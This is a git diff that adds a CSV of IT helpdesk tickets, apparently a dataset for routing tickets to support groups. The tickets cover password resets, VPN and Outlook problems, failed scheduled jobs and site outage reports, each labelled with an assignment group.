diff --git "a/it-support-assigment-groups.csv" "b/it-support-assigment-groups.csv" new file mode 100644--- /dev/null +++ "b/it-support-assigment-groups.csv" @@ -0,0 +1,47032 @@ +Issue Description,Assignment group +"login issue -verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"outlook _x000D_ +_x000D_ +received from: hmjdrvpb.komuaywn@gmail.com_x000D_ +_x000D_ +hello team,_x000D_ +_x000D_ +my meetings/skype meetings etc are not appearing in my outlook calendar, can somebody please advise how to correct this?_x000D_ +_x000D_ +kind ",GRP_0 +"cant log in to vpn _x000D_ +_x000D_ +received from: eylqgodm.ybqkwiam@gmail.com_x000D_ +_x000D_ +hi_x000D_ +_x000D_ +i cannot log on to vpn_x000D_ +_x000D_ +best ",GRP_0 +unable to access hr_tool page unable to access hr_tool page,GRP_0 +skype error skype error ,GRP_0 +unable to log in to engineering tool and skype unable to log in to engineering tool and skype,GRP_0 +"event: critical:HostName_221.company.com the value of mountpoint threshold for /oracle/SID_37/erpdata21/ event: critical:HostName_221.company.com the value of mountpoint threshold for /oracle/SID_37/erpdata21/sr3psa1d_7/sr3psa1d.data7,perpsr3psa1d,4524 is 98",GRP_1 +ticket_no1550391- employment status - new non-employee [enter user's name] ticket_no1550391- employment status - new non-employee [enter user's name],GRP_0 +unable to disable add ins on outlook unable to disable add ins on outlook,GRP_0 +ticket update on inplant_874773 ticket update on inplant_874773,GRP_0 +engineering tool says not connected and unable to submit reports engineering tool says not connected and unable to submit reports,GRP_0 +hr_tool site not loading page correctly hr_tool site not loading page correctly,GRP_0 +unable to login to hr_tool to sgxqsuojr xwbesorf cards unable to login to hr_tool to sgxqsuojr xwbesorf cards,GRP_0 +user wants to reset the password user wants to reset the password,GRP_0 +unable to open payslips unable to open payslips ,GRP_0 +ticket update on inplant_874743 ticket update on inplant_874743,GRP_0 +"unable to login to company vpn + +received from: xyz@company.com + +hi, + +i am unable to login to company vpn website, trying to open a new session using the below link, but not able to get through pls help urgently as we are working from home tomorrow due to month end closing. ",GRP_0 +"when undocking pc , screen will not come back when undocking pc , screen will not come back",GRP_3 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +unable to sign into vpn unable to sign into vpn,GRP_0 +unable to check payslips unable to check payslips,GRP_0 +"vpn issue _x000D_ +_x000D_ +received from: ugephfta.hrbqkvij@gmail.com_x000D_ +_x000D_ +hello helpdesk_x000D_ +_x000D_ +i am not able to connect vpn from home office. couple f hours ago i was connected, now it is not working anymore. getting a message that my session expired but if i click on the link, nothing happens._x000D_ +_x000D_ +[cid:image001.jpg@01d233aa.3f618be0]_x000D_ +_x000D_ +*********************_x000D_ +_x000D_ +need help with your dynamics crm?_x000D_ +click here<_x000D_ +_x000D_ +chat with a live agent regarding your dynamics crm questions now! click here<_x000D_ +_x000D_ +best ",GRP_0 +unable to connect to vpn unable to connect to vpn,GRP_0 +user called for vendor phone number user called for vendor phone number,GRP_0 +"vpn not working + +received from: dceoufyz.saufqkmd@gmail.com + +hello, + +i'm not being able to connect to company network through the vpn. pls check. + +cc: sir-i am not being able to upload as a result of no company network. + +",GRP_0 +erp SID_37 password reset erp SID_37 password reset ,GRP_0 +unable to login to hr_tool to check payslips unable to login to hr_tool to check payslips,GRP_0 +account locked out account locked out,GRP_0 +unable to login to hr_tool unable to login to hr_tool,GRP_0 +unable to log in to erp SID_34 unable to log in to erp SID_34 ,GRP_0 +password reset for collaboration_platform password reset for collaboration_platform,GRP_0 +"reset users hi + +please reset users password + +client id: 794 +username : xyz + +",GRP_0 +"duplication of network address. + +received from: kxsceyzo.naokumlb@gmail.com + +gentles, + +i have two devices that are trying to share an ip address. they are trying to share 96.26.27.9619. one is a printer with the hostname of prtjc0074, and the other is a new display for erp. the display is using dhcp to get its address assigned and the printer is hard coded. + +my guess is that the address 96.26.27.9619 did not get set to a static address in dhcp. i need this corrected so the display will pick up another address. + +",GRP_4 +ess password reset ess password reset,GRP_0 +unable to install flash player unable to install flash player,GRP_0 +"ticket_no1564677-employment status - new non-employee ticket_no1564677-employment status - new non-employee _x000D_ +",GRP_0 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +unable to resolve ticket_no assigned to self the status button is dierppearing after a few seconds.,GRP_0 +installing engineering tool need to install engineering tool on the pc,GRP_0 +call for ecwtrjnq jpecxuty call for ecwtrjnq jpecxuty,GRP_0 +ticket update - inplant_874615 ticket update - inplant_874615,GRP_0 +tablet 7350-sound not working tablet 7350-sound not working,GRP_0 +unable to login to system unable to login to system,GRP_0 +"please reroute jobs on printer01 to printer02 - issue needs to be resolved today + +received from: yisohglr.uvteflgb@gmail.com + +hi - + +the printer01 printer is not working and needs a part replaced. can you reroute the jobs in queue to printer printer02? wihuyjdo qpogfwkb has indicated that prqos001 needs a new part and it may not deliver for a few days so the inwarehouse_tools will need to print on printer02 for now. this needs to be taken care of today since the inwarehouse_tools are printed and are picked up by an outside vendor at 2:30 pm in usa on a daily basis. please contact dkmcfreg anwmfvlgenkataramdntyana if you have questions about the jobs in queue for today. + +",GRP_5 +unable to login to hr_tool etime unable to login to hr_tool etime,GRP_0 +can not log into hr_tool etime through single sign on portal can not log into hr_tool etime through single sign on portal,GRP_0 +password changed in password_management_tool but didnt update for erp account password changed in password_management_tool but didnt update for erp account,GRP_0 +"job Job_1424 failed in job_scheduler at: 10/31/2016 09:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1424 failed in job_scheduler at: 10/31/2016 09:06:00",GRP_6 +windows password change via password_management_tool windows password change via password_management_tool,GRP_0 +"status does not change on telephony_software when closing a call, the agent keeps on the ""on acd call"" status.",GRP_7 +"job mm_zscr0099_dly_merktc3 failed in job_scheduler at: 10/31/2016 08:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job mm_zscr0099_dly_merktc3 failed in job_scheduler at: 10/31/2016 08:36:00",GRP_8 +call for ecwtrjnq jpecxuty call for ecwtrjnq jpecxuty,GRP_0 +"vip 2 - i need my password_management_tool password manager password reset. i need my password_management_tool password manager password reset._x000D_ +_x000D_ +_x000D_ + ",GRP_0 +"reset scm_software password + +received from: cdbaoqts.wqbsodni@gmail.com + +hello, + +please reset my scm_software password. + + +cdbaoqts wqbsodni +global product manager, markhtyeting initiatives +cdbaoqts.wqbsodni@gmail.com + + + + + +",GRP_0 +"account locked out while in office account kept locking out_x000D_ +possible reasons_x000D_ +_x000D_ +companysecure or mobile device email setup has an incorrect password stored._x000D_ +windows and network passwords do not match.",GRP_0 +"skype meeting _x000D_ +_x000D_ +received from: dlougnqw.jiuybxew@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +i had to reset my password again and i've lost my option for setting up a skype meeting again. can you please help me? i can't recall how you were able to bring it back the last time._x000D_ +_x000D_ +",GRP_0 +enquiry on impact rewards enquiry on impact rewards- how to get password reset,GRP_0 +need dn for material 3346599/ plant plant_197/ 5019253000 1 pcs thanks need dn for material 3346599/ plant plant_197/ 5019253000 1 pcs ,GRP_6 +"unlock logon password _x000D_ +_x000D_ +received from: cnhkypxw.lafncksi@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +please help to unlock my company net log on password. urgent._x000D_ +",GRP_0 +"job mm_zscr0099_dly_merktc2 failed in job_scheduler at: 10/31/2016 05:19:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job mm_zscr0099_dly_merktc2 failed in job_scheduler at: 10/31/2016 05:19:00",GRP_8 +"job Job_3181 failed in job_scheduler at: 10/31/2016 05:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3181 failed in job_scheduler at: 10/31/2016 05:00:00",GRP_8 +password changed required for user- abc password changed required for user- abc,GRP_0 +"issues with outlook _x000D_ +_x000D_ +received from: lkfzibrx.ljnabpgx@gmail.com_x000D_ +_x000D_ +[cid:image001.png@01d23357.fcbe58b0]_x000D_ +_x000D_ +best ",GRP_0 +" urgent - create dlv please help , i try to create dlv for this mm's_x000D_ +7393673 sto 5019411580/00001_x000D_ +7393617 sto 5019329184/00002_x000D_ +_x000D_ +sto from plant_289 to plant_101 ",GRP_6 +"apac company : two switches are down since 3.45 am et on 10/31. apac company : two switches are down since 3.45 am et on 10/31._x000D_ +_x000D_ +company-ap-chn-apac-company-2960-access-sw04 _x000D_ +company-ap-chn-apac-company-2960-access-sw03.",GRP_8 +"error login on to the SID_34 system. error login on to the SID_34 system._x000D_ +-verified user details.(employee# & manager name)_x000D_ +-user has tried the password_management_tool pwd manager._x000D_ +-unlocked the erp id._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"delivery note can't do post goods issue d/n #9169754657&8058643570_x000D_ +plant:plant_304 to plant_310_x000D_ +the issue display:_x000D_ +ekpo-sobkz=e; ekpo-umsok=_; ekpo-kzbws<>_ ekpo-kzvbr<>e (note 305582) not supported (check your entry)_x000D_ +",GRP_0 +"job Job_1338 failed in job_scheduler at: 10/31/2016 02:29:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1338 failed in job_scheduler at: 10/31/2016 02:29:00",GRP_9 +"job Job_1854 failed in job_scheduler at: 10/31/2016 01:36:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1854 failed in job_scheduler at: 10/31/2016 01:36:00",GRP_8 +"job Job_2588 failed in job_scheduler at: 10/31/2016 01:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2588 failed in job_scheduler at: 10/31/2016 01:30:00",GRP_8 +"job Job_2599 failed in job_scheduler at: 10/31/2016 01:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2599 failed in job_scheduler at: 10/31/2016 01:30:00",GRP_8 +"user locked- user :xyz + +received from: przndfbo.pldqbhtn@gmail.com + +it team, + +please kindly release locked computer for user : xyz +user name : fbmugzrl ahyiuqev + +",GRP_0 +dell 7350: my laptop speakers is not working again and requires your urgent help. my laptop speakers is not working again and requires your urgent help.,GRP_0 +"user needs help to connect to the wireless connection at home. user needs help to connect to the wireless connection at home. +-had the user connect to the lan at home. +-connected to the user system using teamviewer. +-checked the network settings. +-help the user login to the home wireless. +-disconnected the home lan. +-user confirmed that he is able to login to the home wireless. +-issue resolved.",GRP_0 +inc1564062: ticket update inc1564062: ticket update ,GRP_0 +"job hr_payroll_na_u1 failed in job_scheduler at: 10/30/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u1 failed in job_scheduler at: 10/30/2016 23:00:00",GRP_10 +"job hr_payroll_na_u2 failed in job_scheduler at: 10/30/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u2 failed in job_scheduler at: 10/30/2016 23:00:00",GRP_10 +"job hr_payroll_na_u6 failed in job_scheduler at: 10/30/2016 23:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job hr_payroll_na_u6 failed in job_scheduler at: 10/30/2016 23:00:00",GRP_10 +"power outage:UK al, 1st and 5th ave sites hard down since at 4:31 pm et on 10/30. what type of outage: _____network _____circuit ___x__power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___yes______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ________4:31 pm et on 10/30. ______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __yno_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___na_____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___na____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ____global_telecom_1#000000223670658 _____________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"power outage : germany, mx: site is hard down since 10/30/2016 10:09 am et what type of outage: ___x__network _____circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ___no______ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______10/30/2016 10:09 am et_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ____no___ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ____no__ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ____no____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ___________ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _______ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +"job Job_1424 failed in job_scheduler at: 10/30/2016 10:35:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1424 failed in job_scheduler at: 10/30/2016 10:35:00",GRP_6 +erp SID_34 account locked erp SID_34 account locked,GRP_0 +"user yhmwxsqj ugnthxky having issues logging to outlook. user yhmwxsqj ugnthxky having issues logging to outlook. + +rgtry will be available tomorrow around 9.00 am, he works out of company campus. request you to reach out to him & fix the issue.",GRP_0 +"job bwhrattr failed in job_scheduler at: 10/30/2016 02:20:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bwhrattr failed in job_scheduler at: 10/30/2016 02:20:00",GRP_9 +"engineering tool drawing originals in pdf format are not shown hello it service,_x000D_ +i need to monitor the manufacturing drawings to approve manufacturing._x000D_ +the engineering tool stopped showing pdf originals:_x000D_ +_x000D_ +process: _x000D_ +_x000D_ +_x000D_ +[[erp] /production_order_interface_vendor/bas_cr 167 - rfc destination production_order_interface_vendor-views-010 not accessible (file cannot be stamped now; ).]_x000D_ + 08:06:34 _x000D_ + bapireturnederrorexception_x000D_ + [stack trace]_x000D_ + cadagent.erp.conn.jco.tm.jcoerpmanager.handlereturnstructureorreturntableline(jcoerpmanager.java:379, @(#) $id: jcoerpmanager.java 60470 2015-07-24 09:02:22z wt $)_x000D_ + cadagent.erp.conn.jco.tm.jcoerpmanager.handlereturnstructure(jcoerpmanager.java:360, @(#) $id: jcoerpmanager.java 60470 2015-07-24 09:02:22z wt $)_x000D_ + cadagent.erp.conn.jco.tm.jcoerpmanager.generirtcfunction(jcoerpmanager.java:324, @(#) $id: jcoerpmanager.java 60470 2015-07-24 09:02:22z wt $)_x000D_ + cadagent.objmod.plmfile.checkoutview(plmfile.java:1109, @(#) $id: plmfile.java 182 2016-02-18 19:00:08z aju $)_x000D_ + plm.omf.omforiginalsexport.checkoutbapi(omforiginalsexport.java:337, @(#) $id: omforiginalsexport.java 54279 2014-51.08.85.1636:24z rb $)_x000D_ + plm.omf.omforiginalsexport.downloaddocumentoriginals(omforiginalsexport.java:226, @(#) $id: omforiginalsexport.java 54279 2014-51.08.85.1636:24z rb $)_x000D_ + plm.omf.omforiginalsexport.actionperformed(omforiginalsexport.java:147, @(#) $id: omforiginalsexport.java 54279 2014-51.08.85.1636:24z rb $)_x000D_ + cadagent.gui.obr.obrfunctioneventqueue.run(obrfunctioneventqueue.java:209, @(#) $id: obrfunctioneventqueue.java 51962 2014-07-16 11:28:24z bda $)_x000D_ +_x000D_ + [api] bapi_document_checkoutview2_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +is this a known problem? when it will be fixed?_x000D_ +_x000D_ +",GRP_11 +"job apo_bop_plant_283a failed in job_scheduler at: 10/30/2016 01:25:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job apo_bop_plant_283a failed in job_scheduler at: 10/30/2016 01:25:00",GRP_6 +"job Job_1315 failed in job_scheduler at: 10/30/2016 00:48:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1315 failed in job_scheduler at: 10/30/2016 00:48:00",GRP_9 +"job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 10/30/2016 00:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job mm_zscr0099_wkly_rollfgyuej1 failed in job_scheduler at: 10/30/2016 00:11:00",GRP_8 +unable to open ie unable to open ie ,GRP_0 +"job Job_3050 failed in job_scheduler at: 10/29/2016 23:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3050 failed in job_scheduler at: 10/29/2016 23:02:00",GRP_8 +"job SID_30cold failed in job_scheduler at: 10/29/2016 18:58:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_30cold failed in job_scheduler at: 10/29/2016 18:58:00",GRP_5 +"job SID_35cold failed in job_scheduler at: 10/29/2016 18:47:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_35cold failed in job_scheduler at: 10/29/2016 18:47:00",GRP_5 +"job Job_436 failed in job_scheduler at: 10/29/2016 18:29:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_436 failed in job_scheduler at: 10/29/2016 18:29:00",GRP_5 +"job SID_29cold failed in job_scheduler at: 10/29/2016 18:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_29cold failed in job_scheduler at: 10/29/2016 18:11:00",GRP_5 +"job Job_717 failed in job_scheduler at: 10/29/2016 18:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_717 failed in job_scheduler at: 10/29/2016 18:11:00",GRP_5 +"job SID_26cold failed in job_scheduler at: 10/29/2016 18:11:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_26cold failed in job_scheduler at: 10/29/2016 18:11:00",GRP_5 +"job SID_35cold failed in job_scheduler at: 10/29/2016 18:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_35cold failed in job_scheduler at: 10/29/2016 18:09:00",GRP_5 +amssm00345: c:\ label:sys-amssm00345 94ef9088 on server: is over 85% space consumed. space available: 2.7 g amssm00345: c:\ label:sys-amssm00345 94ef9088 on server: is over 85% space consumed. space available: 2.7 g ,GRP_12 +unable to view payslips from hr_tool e time unable to view payslips from hr_tool e time,GRP_0 +"password expiry tomorrow + +received from: ecprjbod.litmjwsy@gmail.com + +my system says my password expires tomorrow. but when i want to change to a new password, it does not allow. the new password is not accepting….it says server does not authorize. kindly check and do the needful as the password is expiring tomorrow. ",GRP_0 +"re: ess portal access issue + +received from: noscwdpm.akiowsmp@gmail.com + +hello, + +he is an kiosk user. please reset the password and confirm. + + +noscwdpm akiowsmp +noscwdpm.akiowsmp@gmail.com + +from: ihkolepb ozhnjyef +sent: 29 october 2016 13:38 +to: company@ticketing_tool.com +subject: ess portal access issue + +hi, + +below mentioned employee krlszbqo spimolgz with user id sv123 is not able to login to ess portal to access his pay slips and related contents. he is a attendance_tool user. please reset his user id and password and revert back. + +",GRP_0 +"ess portal access issue + +received from: ihkolepb.ozhnjyef@gmail.com + +hi, + +below mentioned employee krlszbqo spimolgz with user id sv123 is not able to login to ess portal to access his pay slips and related contents. he is a attendance_tool user. please reset his user id and password and revert back. + +",GRP_0 +"job Job_1390 failed in job_scheduler at: 10/29/2016 03:55:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1390 failed in job_scheduler at: 10/29/2016 03:55:00",GRP_9 +"job Job_2002 failed in job_scheduler at: 10/29/2016 02:52:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2002 failed in job_scheduler at: 10/29/2016 02:52:00",GRP_8 +"job Job_2002 failed in job_scheduler at: 10/29/2016 02:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2002 failed in job_scheduler at: 10/29/2016 02:30:00",GRP_6 +"job Job_1319 failed in job_scheduler at: 10/29/2016 02:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1319 failed in job_scheduler at: 10/29/2016 02:02:00",GRP_9 +"job Job_1382 failed in job_scheduler at: 10/29/2016 02:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1382 failed in job_scheduler at: 10/29/2016 02:00:00",GRP_9 +"attendance_tool - system log on error + +received from: isfadulo.etkyjabn@gmail.com + +hello + +good morning, + +i am experiencing issues with attendance_tool log on +every time i try to log on through ""single sign portal, the following screen gets displayed and it stays there. +appreciate your support to fix this issue + + +[cid:image011.jpg@01d231cb.2cceacf0] + +",GRP_0 +excel freezing issue excel freezing issue,GRP_0 +unable to sync a file in collaboration_platform unable to sync a file in collaboration_platform ,GRP_0 +unable to update password on the password_management_tool password manager unable to update password on the password_management_tool password manager,GRP_0 +vitalyst transfer: reporting_tool access query vitalyst transfer: reporting_tool access query,GRP_0 +"job Job_2881 failed in job_scheduler at: 10/28/2016 18:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2881 failed in job_scheduler at: 10/28/2016 18:06:00",GRP_13 +user said he will callback user said he will callback ,GRP_0 +unable update passwords on password_management_tool unable update passwords on password_management_tool ,GRP_0 +erp SID_34 erp production password reset // account is locked erp SID_34 erp production password reset // account is locked,GRP_0 +"server issues _x000D_ +_x000D_ +received from: bgqpotek.cuxakvml@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i have been trying to gain access to my pay roll information on the hub, specifically the hr_tool etime portal. the ""other"" information on the portal come up without problems, but the ""pay stub"" does not…it continuously shows the search ring._x000D_ +_x000D_ +_x000D_ +",GRP_0 +ticket update on ticket_no0454269 ticket update on ticket_no0454269,GRP_0 +unable to display expense report unable to display expense report,GRP_0 +password reset for upitdmhz owupktcg cruzjc password reset for upitdmhz owupktcg cruzjc,GRP_0 +unable to login in benefits tab unable to login in benefits tab,GRP_0 +"hello, i'm having an issue with my outlook view. can you call me and let me share my screen? hello, i'm having an issue with my outlook view. can you call me and let me share my screen?",GRP_0 +unable to access mails unable to access mails ,GRP_0 +unable to display expense report unable to display expense report,GRP_0 +"mobile device activation from: tvcdfqgp nrbcqwgj +sent: friday, october 28, 2016 3:13 pm +to: nwfodmhc exurcwkm +subject: se ha bloqueado en forma temporal la sincronización de su dispositivo móvil mediante exchange activesync hasta que su administrador autorice el acceso. + +hi + +i received this message and our local it expert has told me to open a ticket. + +",GRP_0 +internal keybankrd will not work after cs nor will an external usb keybankrd. internal keybankrd will not work after cs nor will an external usb keybankrd.,GRP_3 +blank call //gso blank call //gso,GRP_0 +update on inplant_874269 update on inplant_874269,GRP_0 +"password change thru password_management_tool password manager _x000D_ +_x000D_ +received from: jvpkulxw.ovuweygj@gmail.com_x000D_ +_x000D_ +hello sir,_x000D_ +_x000D_ +i tried to change my password thru above. i got below error. pl help know what action to be taken further to ensure all passwords are same everywhere since belo wmsg says all passwords were not changed._x000D_ +_x000D_ +[cid:image001.jpg@01d2316b.5ff15980]_x000D_ +_x000D_ +",GRP_0 +unlock personal number in ess unlock personal number in ess,GRP_0 +"intermittent service on configair server in SID_34 requires probably a restart on production server intermittent service on configair server in SID_34 requires probably a restart on production server. +the error occurs in production and shows ""500 internal serrver error. error: while trying to invoke the method java.util.list.iterator() of null object loaded from local variable 'local list'"" +the issue can be reproduced in production e.g.: +a) company customer e.g.# 81510728 and base material mm3716934 (hss/pm finishing) +b) company customer e.g. .# 81510728 and starting from scratch. i can select a product platform e.g. hp hss/pm roughing, but the screen freezes. +c) log-on language different ""en"", e.g. ""de"". company customer e.g. 81124199; base material e.g. 5157483. +we had this issues already several times before and it needed always a restart of the server. thryeu is a good contact person for this issue as he was already working on the root cause with our external vendor configair. +",GRP_14 +unable to access vpn unable to access vpn,GRP_0 +unable to open outlook unable to open outlook,GRP_0 +install driver in printer hr14 in HostName_769 install driver in printer hr14 in HostName_769,GRP_0 +unable to send emails from outbox unable to send emails from outbox,GRP_0 +"access to business_client drawings name:xvgftyr tryfuh +language: +browser:microsoft internet explorer +email:cnkoflhi.abeoucfj@gmail.com +customer number: +summary:i cannot seem to access the drawings from the netweaver application that is installed on my computer. it doesn't take me to the same page that my colleagues have.",GRP_0 +"taking off email permissions from personal phone name:vdhfy +language: +browser:microsoft internet explorer +email:dcvphjru.ybomrjst@gmail.com +customer number: +summary:i have scrapped the old phone. my mail was configured in it. can you take off the permissions set to view mails on that phone",GRP_0 +"job Job_1854 failed in job_scheduler at: 10/28/2016 11:06:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1854 failed in job_scheduler at: 10/28/2016 11:06:00",GRP_8 +"job Job_1879 failed in job_scheduler at: 10/28/2016 11:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1879 failed in job_scheduler at: 10/28/2016 11:01:00",GRP_8 +unable to view payslips in ie unable to view payslips in ie,GRP_0 +prtgghj4k45 password reset please reset hr_tool gv4536 password reset. ,GRP_0 +"channel partner receiving multiple emails from erp--- urgent hi, +our channel partner with the email address djhadkudhd@gmail.com, received 50 emails regarding the pos error in a matheywter of 30 milliseconds. he is very angry, this needs to be fixed aerp. attached is a file extracted from erp documenting the 50 emails. ",GRP_15 +usa - (company) : interface fastethernet0/16 & gigabitethernet1/0/18 is down since 09:23 pm et on 09/28. usa - (company) : interface fastethernet0/16 & gigabitethernet1/0/18 is down since 09:23 pm et on 09/28.,GRP_8 +"password reset + +received from: qtrmxlgv.dfruzvam@gmail.com + +good morning, + +i have forgotten my password for erp SID_1. i have made 3 attempts and failed. could you please reset. my user id is dgrtrkjs123. + +",GRP_0 +"ess login issue ess login issue_x000D_ +-verified user details.(employee# & manager name)_x000D_ +-checked the user name in ad and reset the password._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +unable to start dell 7350 2 in 1 device qifzkoej etbmgjvo is unable to start his dell 7350 2 in 1 tablet device. ,GRP_0 +erp_print_tool install. erp_print_tool install.,GRP_0 +"good morning. i am having trouble getting into my vpn name:wvngzrca sfmrzdth +language: +browser:microsoft internet explorer +email:wvngzrca.sfmrzdth@gmail.com +customer number: +summary:good morning. i am having trouble getting into my vpn +can you assist",GRP_0 +install acrobat standard install acrobat standard,GRP_0 +password reset from ad password reset from ad,GRP_0 +reset the password for wseacnvi azvixyqg on erp / qa / erp please reset my password to SID_1. it's blocked. login - jdhdw345 . ,GRP_0 +"i used to have acces to this location on collaboration_platform. now i do not. i need access. + +received from: bwfhtumx.japznrvb@gmail.com + + + +[cid:image001.jpg@01d230f7.8bb4e830] + +bwfhtumx japznrvb +regional controller +bwfhtumx.japznrvb@gmail.com + + + +",GRP_16 +crm add-in is getting disabled from outlook crm add-in is getting disabled from outlook ,GRP_0 +outlook hangs. outlook hangs.,GRP_0 +vpn not working. vpn not working.,GRP_0 +"reset passwords for hckvpary emxbpkwy using password_management_tool password reset. employee is getting an error ""user authentication failed"" when trying to log into the ess portal. she is able to access erp and is able to access the hub. tried to reset and change her password through password_management_tool password manager but got an error ""cannot find account [woodscf] on target [active directory]."" + +her user id is hdjdkt123",GRP_17 +"job bkbackup_tool_sql_prod_inc failed in job_scheduler at: 10/28/2016 07:41:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job bkbackup_tool_sql_prod_inc failed in job_scheduler at: 10/28/2016 07:41:00",GRP_8 +ess password reset ess password reset,GRP_0 +"wy123 printer + +received from: nxhwyepl.mudstbxo@gmail.com + +please note some continuous erp printing is happening in printer wy123. the print is not given locally please arrange to cancel the same immediately as lot of paper is getting wasted. + +",GRP_0 +"update java viewer ? _x000D_ +_x000D_ +received from: uijxpazn.gvtzlphs@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +_x000D_ +java viewer is not working any more. i need access to view scanned inwarehouse_tools in erp._x000D_ +_x000D_ +i assume java update is required ?_x000D_ +_x000D_ +[cid:image001.png@01d2311b.deaf3cb0]_x000D_ +_x000D_ +_x000D_ +best ",GRP_0 +"job Job_137 failed in job_scheduler at: 10/28/2016 06:38:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_137 failed in job_scheduler at: 10/28/2016 06:38:00",GRP_5 +"HostName_1297 is currently experiencing high cpu utilization. please investigate! we are observing below alert in monitoring_tool:_x000D_ +_x000D_ +HostName_1297 is currently experiencing high cpu utilization. please investigate!",GRP_14 +"access to bex _x000D_ +_x000D_ +received from: yfqoaepn.xnezhsit@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +till last week i was accessing bex reports using mms portal and there were no issues._x000D_ +_x000D_ +starting this week the system is incredibly slow when i log in and finally does not allow me to access any reports._x000D_ +_x000D_ +can it be the issue with any maintenance or my access rights or rather i should try to access bex using different way?_x000D_ +_x000D_ +below the print screen from what i see after log in:_x000D_ +[cid:image001.png@01d2310c.f184b360]_x000D_ +_x000D_ +i am also able to get to finance reports (see below), however when i click ""profitability analysis"" (as i was always doing) separate window is open however apart rom that the screen is blank._x000D_ +[cid:image002.png@01d2310c.f184b360]_x000D_ +_x000D_ +_x000D_ +i appreciate your support._x000D_ +_x000D_ +have a great day ☺_x000D_ +_x000D_ +robhyertyj_x000D_ +_x000D_ +_x000D_ +yfqoaepn xnezhsit_x000D_ +managing 